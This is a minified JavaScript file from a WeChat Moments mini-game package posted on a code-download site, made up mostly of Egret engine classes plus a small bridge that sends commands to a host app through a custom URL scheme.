www.gusucode.com > pmp 游戏微信朋友圈小游戏源码程序 > pmp/js/game.58128.js

    var UA=navigator.userAgent,IsAndroid=/Android|HTC/i.test(UA)||!!(navigator.platform+"").match(/Linux/i),IsIOS=!IsAndroid&&/iPad|iPod|iPhone/i.test(UA),IsApp=/Tusi/i.test(UA),platform="",AppShareFn,LOG_URL=window.LOG_URL||"";IsAndroid?platform="android":IsIOS&&(platform="ios");var AppBridge={isInApp:/Tusi/i.test(UA),callbackId:1,callbacks:{},lastCallTime:0,lastCallName:"",send:function(k,m){var j=+new Date;if(!(800>j-AppBridge.lastCallTime&&k==AppBridge.lastCallName)){AppBridge.lastCallTime=j;AppBridge.lastCallName=k;var j="tusi://command/"+k,g=[];if(m){if(m.callback){var h=AppBridge.callbackId++;AppBridge.callbacks[h]=m.callback;m.callbackId=h}for(var l in m){"callback"!=l&&g.push(encodeURIComponent(l)+"="+encodeURIComponent(m[l]))}}j+="?"+g.join("&");if(IsAndroid){try{Android.runAndroidMethod(j)}catch(i){console.log(i.message)}}else{location.href=j}}},callback:function(b){var d=b.callbackId,a;d&&((a=AppBridge.callbacks[d])&&a(b),delete AppBridge.callbacks[d])},eventCache:{},on:function(a,b){(AppBridge.eventCache[a]||(AppBridge.eventCache[a]=[])).push(b)},deviceEvent:function(i,j){var h=AppBridge.eventCache[i];if(h){for(var d=0,g=h.length;d<g;d++){h[d](j)}}}},egret;(function(a){var b=function(){function c(){this._hashCode=c.hashCount++}Object.defineProperty(c.prototype,"hashCode",{get:function(){return this._hashCode},enumerable:!0,configurable:!0});c.hashCount=1;return c}();a.HashObject=b;b.prototype.__class__="egret.HashObject"})(egret||(egret={}));var __extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(d){function c(e){"undefined"===typeof e&&(e=300);d.call(this);this.objectPool=[];this._length=0;1>e&&(e=1);this.autoDisposeTime=e;this.frameCount=0}__extends(c,d);c.prototype._checkFrame=function(){this.frameCount--;0>=this.frameCount&&this.dispose()};Object.defineProperty(c.prototype,"length",{get:function(){return this._length},enumerable:!0,configurable:!0});c.prototype.push=function(e){var f=this.objectPool;-1==f.indexOf(e)&&(f.push(e),this._length++,0==this.frameCount&&(this.frameCount=this.autoDisposeTime,c._callBackList.push(this)))};c.prototype.pop=function(){if(0==this._length){return null}this._length--;return this.objectPool.pop()};c.prototype.dispose=function(){0<this._length&&(this.objectPool=[],this._length=0);this.frameCount=0;var e=c._callBackList,f=e.indexOf(this);-1!=f&&e.splice(f,1)};c._callBackList=[];return c}(a.HashObject);a.Recycler=b;b.prototype.__class__="egret.Recycler"})(egret||(egret={}));(function(a){a.__START_TIME;a.getTimer=function(){return Date.now()-a.__START_TIME}})(egret||(egret={}));(function(a){a.__callLaterFunctionList=[];a.__callLaterThisList=[];a.__callLaterArgsList=[];a.callLater=function(h,g){for(var d=[],e=0;e<arguments.length-2;e++){d[e]=arguments[e+2]}a.__callLaterFunctionList.push(h);a.__callLaterThisList.push(g);a.__callLaterArgsList.push(d)}})(egret||(egret={}));var egret_dom;(function(a){function b(){for(var f=document.createElement("div").style,c=["t","webkitT","msT","MozT","OT"],d=0;d<c.length;d++){if(c[d]+"ransform" in f){return c[d]}}return c[0]}a.header="";a.getHeader=b;a.getTrans=function(c){""==a.header&&(a.header=b());return a.header+c.substring(1,c.length)}})(egret_dom||(egret_dom={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(e){function d(f,g,c){"undefined"===typeof g&&(g=!1);"undefined"===typeof c&&(c=!1);e.call(this);this._eventPhase=2;this._isPropagationImmediateStopped=this._isPropagationStopped=this._isDefaultPrevented=!1;this.isNew=!0;this._type=f;this._bubbles=g;this._cancelable=c}__extends(d,e);Object.defineProperty(d.prototype,"type",{get:function(){return this._type},enumerable:!0,configurable:!0});Object.defineProperty(d.prototype,"bubbles",{get:function(){return this._bubbles},enumerable:!0,configurable:!0});Object.defineProperty(d.prototype,"cancelable",{get:function(){return this._cancelable},enumerable:!0,configurable:!0});Object.defineProperty(d.prototype,"eventPhase",{get:function(){return this._eventPhase},enumerable:!0,configurable:!0});Object.defineProperty(d.prototype,"currentTarget",{get:function(){return this._currentTarget},enumerable:!0,configurable:!0});d.prototype._setCurrentTarget=function(c){this._currentTarget=c};Object.defineProperty(d.prototype,"target",{get:function(){return this._target},enumerable:!0,configurable:!0});d.prototype.isDefaultPrevented=function(){return this._isDefaultPrevented};d.prototype.preventDefault=function(){this._cancelable&&(this._isDefaultPrevented=!0)};d.prototype.stopPropagation=function(){this._bubbles&&(this._isPropagationStopped=!0)};d.prototype.stopImmediatePropagation=function(){this._bubbles&&(this._isPropagationImmediateStopped=!0)};d.prototype._reset=function(){this.isNew?this.isNew=!1:(this._isPropagationImmediateStopped=this._isPropagationStopped=this._isDefaultPrevented=!1,this._currentTarget=this._target=null,this._eventPhase=2)};d._dispatchByTarget=function(s,p,r,q,o,m){"undefined"===typeof o&&(o=!1);"undefined"===typeof m&&(m=!1);var n=s.eventRecycler;n||(n=s.eventRecycler=new a.Recycler);var j=n.pop();j?j._type=r:j=new s(r);j._bubbles=o;j._cancelable=m;if(q){for(var i in q){j[i]=q[i],null!==j[i]&&(q[i]=null)}}s=p.dispatchEvent(j);n.push(j);return s};d._getPropertyData=function(c){var f=c._props;f||(f=c._props={});return f};d.dispatchEvent=function(f,i,g,h){"undefined"===typeof g&&(g=!1);var j=d._getPropertyData(d);h&&(j.data=h);d._dispatchByTarget(d,f,i,j,g)};d.ADDED_TO_STAGE="addedToStage";d.REMOVED_FROM_STAGE="removedFromStage";d.ADDED="added";d.REMOVED="removed";d.COMPLETE="complete";d.ENTER_FRAME="enterFrame";d.RENDER="render";d.FINISH_RENDER="finishRender";d.FINISH_UPDATE_TRANSFORM="finishUpdateTransform";d.LEAVE_STAGE="leaveStage";d.RESIZE="resize";d.CHANGE="change";return d}(a.HashObject);a.Event=b;b.prototype.__class__="egret.Event"})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(e){function d(f,g,c){"undefined"===typeof g&&(g=!1);"undefined"===typeof c&&(c=!1);e.call(this,f,g,c)}__extends(d,e);d.dispatchIOErrorEvent=function(c){a.Event._dispatchByTarget(d,c,d.IO_ERROR)};d.IO_ERROR="ioError";return d}(a.Event);a.IOErrorEvent=b;b.prototype.__class__="egret.IOErrorEvent"})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(e){function d(t,r,s,q,c,n,o,j,i,f){"undefined"===typeof r&&(r=!0);"undefined"===typeof s&&(s=!0);"undefined"===typeof q&&(q=0);"undefined"===typeof c&&(c=0);"undefined"===typeof n&&(n=0);"undefined"===typeof o&&(o=!1);"undefined"===typeof j&&(j=!1);"undefined"===typeof f&&(f=!1);e.call(this,t,r,s);this._localY=this._localX=this._stageY=this._stageX=0;this.touchPointID=q;this._stageX=c;this._stageY=n;this.ctrlKey=o;this.altKey=j;this.touchDown=f}__extends(d,e);Object.defineProperty(d.prototype,"stageX",{get:function(){return this._stageX},enumerable:!0,configurable:!0});Object.defineProperty(d.prototype,"stageY",{get:function(){return this._stageY},enumerable:!0,configurable:!0});Object.defineProperty(d.prototype,"localX",{get:function(){return this._localX},enumerable:!0,configurable:!0});Object.defineProperty(d.prototype,"localY",{get:function(){return this._localY},enumerable:!0,configurable:!0});d.prototype._setCurrentTarget=function(c){e.prototype._setCurrentTarget.call(this,c);c instanceof a.DisplayObject&&(c=c.globalToLocal(this._stageX,this._stageY,a.Point.identity),this._localX=c.x,this._localY=c.y)};d.dispatchTouchEvent=function(v,t,i,u,s,p,q,o,n){"undefined"===typeof i&&(i=0);"undefined"===typeof u&&(u=0);"undefined"===typeof s&&(s=0);"undefined"===typeof p&&(p=!1);"undefined"===typeof q&&(q=!1);"undefined"===typeof o&&(o=!1);"undefined"===typeof n&&(n=!1);var j=a.Event._getPropertyData(d);j.touchPointID=i;j._stageX=u;j._stageY=s;j.ctrlKey=p;j.altKey=q;j.shiftKey=o;j.touchDown=n;a.Event._dispatchByTarget(d,v,t,j,!0,!0)};d.TOUCH_TAP="touchTap";d.TOUCH_MOVE="touchMove";d.TOUCH_BEGIN="touchBegin";d.TOUCH_END="touchEnd";d.TOUCH_RELEASE_OUTSIDE="touchReleaseOutside";d.TOUCH_ROLL_OUT="touchRollOut";d.TOUCH_ROLL_OVER="touchRollOver";d.TOUCH_OUT="touchOut";d.TOUCH_OVER="touchOver";return d}(a.Event);a.TouchEvent=b;b.prototype.__class__="egret.TouchEvent"})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(e){function d(f,g,c){"undefined"===typeof g&&(g=!1);"undefined"===typeof c&&(c=!1);e.call(this,f,g,c)}__extends(d,e);d.dispatchTimerEvent=function(c,f){a.Event._dispatchByTarget(d,c,f)};d.TIMER="timer";d.TIMER_COMPLETE="timerComplete";return d}(a.Event);a.TimerEvent=b;b.prototype.__class__="egret.TimerEvent"})(egret||(egret={}));(function(a){var b=function(){function c(){}c.CAPTURING_PHASE=1;c.AT_TARGET=2;c.BUBBLING_PHASE=3;return c}();a.EventPhase=b;b.prototype.__class__="egret.EventPhase"})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(e){function d(c){"undefined"===typeof c&&(c=null);e.call(this);this._eventTarget=c?c:this}__extends(d,e);d.prototype.addEventListener=function(i,l,g,m,k){"undefined"===typeof m&&(m=!1);"undefined"===typeof k&&(k=0);"undefined"===typeof m&&(m=!1);"undefined"===typeof k&&(k=0);l||a.Logger.fatal("addEventListener\u4fa6\u542c\u51fd\u6570\u4e0d\u80fd\u4e3a\u7a7a");m?(this._captureEventsMap||(this._captureEventsMap={}),m=this._captureEventsMap):(this._eventsMap||(this._eventsMap={}),m=this._eventsMap);var j=m[i];j||(j=m[i]=[]);this._insertEventBin(j,l,g,k)};d.prototype._insertEventBin=function(i,o,h,n){for(var p=-1,m=i.length,l=0;l<m;l++){var j=i[l];if(j.listener===o&&j.thisObject===h){return !1}-1==p&&j.priority<n&&(p=l)}o={listener:o,thisObject:h,priority:n};-1!=p?i.splice(p,0,o):i.push(o);return !0};d.prototype.removeEventListener=function(g,i,f,h){"undefined"===typeof h&&(h=!1);if(h=h?this._captureEventsMap:this._eventsMap){var j=h[g];j&&(this._removeEventBin(j,i,f),0==j.length&&delete h[g])}};d.prototype._removeEventBin=function(h,k,g){for(var j=h.length,l=0;l<j;l++){var i=h[l];if(i.listener===k&&i.thisObject===g){return h.splice(l,1),!0}}return !1};d.prototype.hasEventListener=function(c){return this._eventsMap&&this._eventsMap[c]||this._captureEventsMap&&this._captureEventsMap[c]};d.prototype.willTrigger=function(c){return this.hasEventListener(c)};d.prototype.dispatchEvent=function(c){c._reset();c._target=this._eventTarget;c._setCurrentTarget(this._eventTarget);return this._notifyListener(c)};d.prototype._notifyListener=function(g){var i=1==g._eventPhase?this._captureEventsMap:this._eventsMap;if(!i){return !0}i=i[g.type];if(!i){return !0}for(var i=i.concat(),f=i.length,h=0;h<f;h++){var j=i[h];j.listener.call(j.thisObject,g);if(g._isPropagationImmediateStopped){break}}return !g.isDefaultPrevented()};d.prototype.dispatchEventWith=function(f,g,c){"undefined"===typeof g&&(g=!1);a.Event.dispatchEvent(this,f,g,c)};return d}(a.HashObject);a.EventDispatcher=b;b.prototype.__class__="egret.EventDispatcher"})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(e){function d(){e.call(this);this.reuseEvent=new a.Event("")}__extends(d,e);d.prototype.run=function(){a.Ticker.getInstance().run();a.Ticker.getInstance().register(this.renderLoop,this,Number.NEGATIVE_INFINITY);a.Ticker.getInstance().register(this.broadcastEnterFrame,this,Number.POSITIVE_INFINITY);this.touchContext.run()};d.prototype.renderLoop=function(g){if(0<a.__callLaterFunctionList.length){var h=a.__callLaterFunctionList;a.__callLaterFunctionList=[];var f=a.__callLaterThisList;a.__callLaterThisList=[];var i=a.__callLaterArgsList;a.__callLaterArgsList=[]}this.dispatchEventWith(a.Event.RENDER);a.Stage._invalidateRenderFlag&&(this.broadcastRender(),a.Stage._invalidateRenderFlag=!1);h&&this.doCallLaterList(h,f,i);g=this.rendererContext;g.clearScreen();this.stage._updateTransform();this.dispatchEventWith(a.Event.FINISH_UPDATE_TRANSFORM);this.stage._draw(g);this.dispatchEventWith(a.Event.FINISH_RENDER)};d.prototype.broadcastEnterFrame=function(h){h=this.reuseEvent;h._type=a.Event.ENTER_FRAME;this.dispatchEvent(h);for(var j=a.DisplayObject._enterFrameCallBackList.concat(),g=j.length,k=0;k<g;k++){var i=j[k];h._target=i.display;h._setCurrentTarget(i.display);i.listener.call(i.thisObject,h)}j=a.Recycler._callBackList;for(k=j.length-1;0<=k;k--){j[k]._checkFrame()}};d.prototype.broadcastRender=function(){var h=this.reuseEvent;h._type=a.Event.RENDER;for(var j=a.DisplayObject._renderCallBackList.concat(),g=j.length,k=0;k<g;k++){var i=j[k];h._target=i.display;h._setCurrentTarget(i.display);i.listener.call(i.thisObject,h)}};d.prototype.doCallLaterList=function(h,k,g){for(var j=h.length,l=0;l<j;l++){var i=h[l];null!=i&&i.apply(k[l],g[l])}};d.DEVICE_PC="web";d.DEVICE_MOBILE="native";return d}(a.EventDispatcher);a.MainContext=b;b.prototype.__class__="egret.MainContext"})(egret||(egret={}));var testDeviceType=function(){return this.navigator?-1!=navigator.userAgent.toLowerCase().indexOf("mobile")||IsAndroid||IsIOS:!0};egret.MainContext.instance=new egret.MainContext;egret.MainContext.deviceType=testDeviceType()?egret.MainContext.DEVICE_MOBILE:egret.MainContext.DEVICE_PC;(function(a){var b=function(){function d(){this._tick=this._preDrawCount=this._updateTransformPerformanceCost=this._renderPerformanceCost=this._logicPerformanceCost=this._lastTime=0;this._maxDeltaTime=500;this._totalDeltaTime=0}d.getInstance=function(){null==d.instance&&(d.instance=new d);return d.instance};d.prototype.run=function(){a.Ticker.getInstance().register(this.update,this);null==this._txt&&(this._txt=new a.TextField,this._txt.size=28,a.MainContext.instance.stage.addChild(this._txt));var c=a.MainContext.instance;c.addEventListener(a.Event.ENTER_FRAME,this.onEnterFrame,this);c.addEventListener(a.Event.RENDER,this.onStartRender,this);c.addEventListener(a.Event.FINISH_RENDER,this.onFinishRender,this);c.addEventListener(a.Event.FINISH_UPDATE_TRANSFORM,this.onFinishUpdateTransform,this)};d.prototype.onEnterFrame=function(c){this._lastTime=a.getTimer()};d.prototype.onStartRender=function(c){c=a.getTimer();this._logicPerformanceCost=c-this._lastTime;this._lastTime=c};d.prototype.onFinishUpdateTransform=function(c){c=a.getTimer();this._updateTransformPerformanceCost=c-this._lastTime;this._lastTime=c};d.prototype.onFinishRender=function(c){c=a.getTimer();this._renderPerformanceCost=c-this._lastTime;this._lastTime=c};d.prototype.update=function(c){this._tick++;this._totalDeltaTime+=c;if(this._totalDeltaTime>=this._maxDeltaTime){c=(this._preDrawCount-1).toString();var e=Math.ceil(this._logicPerformanceCost).toString()+","+Math.ceil(this._updateTransformPerformanceCost).toString()+","+Math.ceil(this._renderPerformanceCost).toString()+","+Math.ceil(a.MainContext.instance.rendererContext.renderCost).toString();this._txt.text="draw:"+c+"\ncost:"+e+"\nFPS:"+Math.floor(1000*this._tick/this._totalDeltaTime).toString();this._tick=this._totalDeltaTime=0}this._preDrawCount=0};d.prototype.onDrawImage=function(){this._preDrawCount++};return d}();a.Profiler=b;b.prototype.__class__="egret.Profiler"})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(e){function d(){e.apply(this,arguments);this._timeScale=1;this._paused=!1;this.callBackList=[]}__extends(d,e);d.prototype.run=function(){a.__START_TIME=(new Date).getTime();a.MainContext.instance.deviceContext.executeMainLoop(this.update,this)};d.prototype.update=function(g){var i=this.callBackList.concat(),f=i.length;g*=this._timeScale;g*=this._timeScale;for(var h=0;h<f;h++){var j=i[h];j.listener.call(j.thisObject,g)}};d.prototype.register=function(f,g,c){"undefined"===typeof c&&(c=0);this._insertEventBin(this.callBackList,f,g,c)};d.prototype.unregister=function(c,f){this._removeEventBin(this.callBackList,c,f)};d.prototype.setTimeout=function(h,j,g){for(var k=[],i=0;i<arguments.length-3;i++){k[i]=arguments[i+3]}a.Logger.warning("Ticker#setTimeout\u65b9\u6cd5\u5373\u5c06\u5e9f\u5f03,\u8bf7\u4f7f\u7528egret.setTimeout");a.setTimeout.apply(null,[h,j,g].concat(k))};d.prototype.setTimeScale=function(c){this._timeScale=c};d.prototype.getTimeScale=function(){return this._timeScale};d.prototype.pause=function(){this._paused=!0};d.prototype.resume=function(){this._paused=!1};d.getInstance=function(){null==d.instance&&(d.instance=new d);return d.instance};return d}(a.EventDispatcher);a.Ticker=b;b.prototype.__class__="egret.Ticker"})(egret||(egret={}));(function(a){var b=function(){function c(){}c.LEFT="left";c.RIGHT="right";c.CENTER="center";c.JUSTIFY="justify";c.CONTENT_JUSTIFY="contentJustify";return c}();a.HorizontalAlign=b;b.prototype.__class__="egret.HorizontalAlign"})(egret||(egret={}));(function(a){var b=function(){function c(){}c.TOP="top";c.BOTTOM="bottom";c.MIDDLE="middle";c.JUSTIFY="justify";c.CONTENT_JUSTIFY="contentJustify";return c}();a.VerticalAlign=b;b.prototype.__class__="egret.VerticalAlign"})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(e){function d(c,f){"undefined"===typeof f&&(f=0);e.call(this);this._currentCount=0;this.delay=c;this.repeatCount=f}__extends(d,e);d.prototype.currentCount=function(){return this._currentCount};Object.defineProperty(d.prototype,"running",{get:function(){return this._running},enumerable:!0,configurable:!0});d.prototype.reset=function(){this.stop();this._currentCount=0};d.prototype.start=function(){this._running||(this.lastTime=a.getTimer(),0!=this._currentCount&&(this._currentCount=0),a.Ticker.getInstance().register(this.onEnterFrame,this),this._running=!0)};d.prototype.stop=function(){this._running&&(a.Ticker.getInstance().unregister(this.onEnterFrame,this),this._running=!1)};d.prototype.onEnterFrame=function(c){c=a.getTimer();c-this.lastTime>this.delay&&(this.lastTime=c,this._currentCount++,a.TimerEvent.dispatchTimerEvent(this,a.TimerEvent.TIMER),0<this.repeatCount&&this._currentCount>=this.repeatCount&&(this.stop(),a.TimerEvent.dispatchTimerEvent(this,a.TimerEvent.TIMER_COMPLETE)))};return d}(a.EventDispatcher);a.Timer=b;b.prototype.__class__="egret.Timer"})(egret||(egret={}));(function(a){a.getQualifiedClassName=function(g){g=g.prototype?g.prototype:g.__proto__;if(g.hasOwnProperty("__class__")){return g.__class__}var d=g.constructor.toString(),c=d.indexOf("("),d=d.substring(9,c);return g.__class__=d}})(egret||(egret={}));(function(a){var b={};a.getDefinitionByName=function(h){if(!h){return null}var c=b[h];if(c){return c}for(var f=h.split("."),i=f.length,c=__global,g=0;g<i;g++){if(c=c[f[g]],!c){return null}}return b[h]=c}})(egret||(egret={}));var __global=__global||this;(function(g){function h(e){for(var f in d){var c=d[f];c.delay-=e;0>=c.delay&&(c.listener.apply(c.thisObject,c.params),delete d[f])}}var d={},a=0;g.setTimeout=function(b,i,e){for(var c=[],f=0;f<arguments.length-3;f++){c[f]=arguments[f+3]}c={listener:b,thisObject:i,delay:e,params:c};0==a&&g.Ticker.getInstance().register(h,null);a++;d[a]=c;return a};g.clearTimeout=function(b){delete d[b]}})(egret||(egret={}));(function(a){a.hasDefinition=function(b){return a.getDefinitionByName(b)?!0:!1}})(egret||(egret={}));(function(a){a.toColorString=function(b){if(isNaN(b)||0>b){b=0}16777215<b&&(b=16777215);for(b=b.toString(16).toUpperCase();6>b.length;){b="0"+b}return"#"+b}})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(e){function d(f,k,c,j,i,g){"undefined"===typeof f&&(f=1);"undefined"===typeof k&&(k=0);"undefined"===typeof c&&(c=0);"undefined"===typeof j&&(j=1);"undefined"===typeof i&&(i=0);"undefined"===typeof g&&(g=0);e.call(this);this.a=f;this.b=k;this.c=c;this.d=j;this.tx=i;this.ty=g}__extends(d,e);d.prototype.prepend=function(r,o,q,n,p,m){var j=this.tx;if(1!=r||0!=o||0!=q||1!=n){var i=this.a,h=this.c;this.a=i*r+this.b*q;this.b=i*o+this.b*n;this.c=h*r+this.d*q;this.d=h*o+this.d*n}this.tx=j*r+this.ty*q+p;this.ty=j*o+this.ty*n+m;return this};d.prototype.append=function(t,q,s,p,r,o){var n=this.a,j=this.b,i=this.c,h=this.d;this.a=t*n+q*i;this.b=t*j+q*h;this.c=s*n+p*i;this.d=s*j+p*h;this.tx=r*n+o*i+this.tx;this.ty=r*j+o*h+this.ty;return this};d.prototype.prependMatrix=function(c){this.prepend(c.a,c.b,c.c,c.d,c.tx,c.ty);return this};d.prototype.appendMatrix=function(c){this.append(c.a,c.b,c.c,c.d,c.tx,c.ty);return this};d.prototype.prependTransform=function(u,s,h,q,t,p,o,n,j){if(t%360){var i=t*d.DEG_TO_RAD;t=Math.cos(i);i=Math.sin(i)}else{t=1,i=0}if(n||j){this.tx-=n,this.ty-=j}p||o?(p*=d.DEG_TO_RAD,o*=d.DEG_TO_RAD,this.prepend(t*h,i*h,-i*q,t*q,0,0),this.prepend(Math.cos(o),Math.sin(o),-Math.sin(p),Math.cos(p),u,s)):this.prepend(t*h,i*h,-i*q,t*q,u,s);return this};d.prototype.appendTransform=function(u,s,h,q,t,p,o,n,j){if(t%360){var i=t*d.DEG_TO_RAD;t=Math.cos(i);i=Math.sin(i)}else{t=1,i=0}p||o?(p*=d.DEG_TO_RAD,o*=d.DEG_TO_RAD,this.append(Math.cos(o),Math.sin(o),-Math.sin(p),Math.cos(p),u,s),this.append(t*h,i*h,-i*q,t*q,0,0)):this.append(t*h,i*h,-i*q,t*q,u,s);if(n||j){this.tx-=n*this.a+j*this.c,this.ty-=n*this.b+j*this.d}return this};d.prototype.rotate=function(g){var i=Math.cos(g);g=Math.sin(g);var f=this.a,h=this.c,j=this.tx;this.a=f*i-this.b*g;this.b=f*g+this.b*i;this.c=h*i-this.d*g;this.d=h*g+this.d*i;this.tx=j*i-this.ty*g;this.ty=j*g+this.ty*i;return this};d.prototype.skew=function(c,f){c*=d.DEG_TO_RAD;f*=d.DEG_TO_RAD;this.append(Math.cos(f),Math.sin(f),-Math.sin(c),Math.cos(c),0,0);return this};d.prototype.scale=function(c,f){this.a*=c;this.d*=f;this.c*=c;this.b*=f;this.tx*=c;this.ty*=f;return this};d.prototype.translate=function(c,f){this.tx+=c;this.ty+=f;return this};d.prototype.identity=function(){this.a=this.d=1;this.b=this.c=this.tx=this.ty=0;return this};d.prototype.invert=function(){var h=this.a,k=this.b,g=this.c,j=this.d,l=this.tx,i=h*j-k*g;this.a=j/i;this.b=-k/i;this.c=-g/i;this.d=h/i;this.tx=(g*this.ty-j*l)/i;this.ty=-(h*this.ty-k*l)/i;return this};d.transformCoords=function(g,h,f){var i=a.Point.identity;i.x=g.a*h+g.c*f+g.tx;i.y=g.d*f+g.b*h+g.ty;return i};d.prototype.toArray=function(c){this.array||(this.array=new Float32Array(9));c?(this.array[0]=this.a,this.array[1]=this.b,this.array[2]=0,this.array[3]=this.c,this.array[4]=this.d,this.array[5]=0,this.array[6]=this.tx,this.array[7]=this.ty):(this.array[0]=this.a,this.array[1]=this.b,this.array[2]=this.tx,this.array[3]=this.c,this.array[4]=this.d,this.array[5]=this.ty,this.array[6]=0,this.array[7]=0);this.array[8]=1;return this.array};d.identity=new d;d.DEG_TO_RAD=Math.PI/180;return d}(a.HashObject);a.Matrix=b;b.prototype.__class__="egret.Matrix"})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(d){function c(e,f){"undefined"===typeof e&&(e=0);"undefined"===typeof f&&(f=0);d.call(this);this.x=e;this.y=f}__extends(c,d);c.prototype.clone=function(){return new c(this.x,this.y)};c.prototype.equals=function(e){return this.x==e.x&&this.y==e.y};c.distance=function(e,f){return Math.sqrt((e.x-f.x)*(e.x-f.x)+(e.y-f.y)*(e.y-f.y))};c.identity=new c(0,0);return c}(a.HashObject);a.Point=b;b.prototype.__class__="egret.Point"})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(d){function c(f,g,e,h){"undefined"===typeof f&&(f=0);"undefined"===typeof g&&(g=0);"undefined"===typeof e&&(e=0);"undefined"===typeof h&&(h=0);d.call(this);this.x=f;this.y=g;this.width=e;this.height=h}__extends(c,d);Object.defineProperty(c.prototype,"right",{get:function(){return this.x+this.width},set:function(e){this.width=e-this.x},enumerable:!0,configurable:!0});Object.defineProperty(c.prototype,"bottom",{get:function(){return this.y+this.height},set:function(e){this.height=e-this.y},enumerable:!0,configurable:!0});c.prototype.initialize=function(g,i,f,h){this.x=g;this.y=i;this.width=f;this.height=h;return this};c.prototype.contains=function(e,f){return this.x<=e&&this.x+this.width>=e&&this.y<=f&&this.y+this.height>=f};c.prototype.intersects=function(e){return this.contains(e.x,e.y)||this.contains(e.x,e.bottom)||this.contains(e.right,e.y)||this.contains(e.right,e.bottom)?!0:!1};c.prototype.clone=function(){return new c(this.x,this.y,this.width,this.height)};c.prototype.containsPoint=function(e){return this.x<e.x&&this.x+this.width>e.x&&this.y<e.y&&this.y+this.height>e.y?!0:!1};c.identity=new c(0,0,0,0);return c}(a.HashObject);a.Rectangle=b;b.prototype.__class__="egret.Rectangle"})(egret||(egret={}));(function(a){var b=function(){function d(){}d.fatal=function(c,e){"undefined"===typeof e&&(e=null);a.Logger.traceToConsole("Fatal",c,e);throw Error(a.Logger.getTraceCode("Fatal",c,e))};d.info=function(c,e){"undefined"===typeof e&&(e=null);a.Logger.traceToConsole("Info",c,e)};d.warning=function(c,e){"undefined"===typeof e&&(e=null);a.Logger.traceToConsole("Warning",c,e)};d.traceToConsole=function(c,e,f){console.log(a.Logger.getTraceCode(c,e,f))};d.getTraceCode=function(c,e,f){return"["+c+"]"+e+":"+(null==f?"":f)};return d}();a.Logger=b;b.prototype.__class__="egret.Logger"})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(e){function d(){e.call(this);this._isSupportDOMParser=this._xmlDict=this._parser=null;this._xmlDict={};window.DOMParser?(this._isSupportDOMParser=!0,this._parser=new DOMParser):this._isSupportDOMParser=!1}__extends(d,e);d.getInstance=function(){d._instance||(d._instance=new d);return d._instance};d.prototype.parserXML=function(c){for(var f=0;"\n"==c.charAt(f)||"\t"==c.charAt(f)||"\r"==c.charAt(f)||" "==c.charAt(f);){f++}0!=f&&(c=c.substring(f,c.length));this._isSupportDOMParser?f=this._parser.parseFromString(c,"text/xml"):(f=new ActiveXObject("Microsoft.XMLDOM"),f.async="false",f.loadXML(c));null==f&&a.Logger.info("xml not found!");return f};d._instance=null;return d}(a.HashObject);a.SAXParser=b;b.prototype.__class__="egret.SAXParser"})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(j){var l=function(c){function b(){c.call(this);this._designHeight=this._designWidth=0;this._scaleY=this._scaleX=1;var a=document.getElementById(b.canvas_name),d=a.height;this._designWidth=a.width;this._designHeight=d}__extends(b,c);b.getInstance=function(){null==b.instance&&(g.initialize(),b.instance=new b);return b.instance};b.prototype.setDesignSize=function(m,f,e){this._designWidth=m;this._designHeight=f;e&&(j.Logger.warning("\u8be5\u65b9\u6cd5\u76ee\u524d\u4e0d\u5e94\u4f20\u5165 resolutionPolicy \u53c2\u6570\uff0c\u8bf7\u5728 docs/1.0_Final_ReleaseNote\u4e2d\u67e5\u770b\u5982\u4f55\u5347\u7ea7"),this._setResolutionPolicy(e))};b.prototype._setResolutionPolicy=function(a){this._resolutionPolicy=a;a.init(this);a._apply(this,this._designWidth,this._designHeight)};b.prototype.getScaleX=function(){return this._scaleX};b.prototype.getScaleY=function(){return this._scaleY};b.canvas_name="gameCanvas";b.canvas_div_name="gameDiv";return b}(j.HashObject);j.StageDelegate=l;l.prototype.__class__="egret.StageDelegate";var i=function(){function 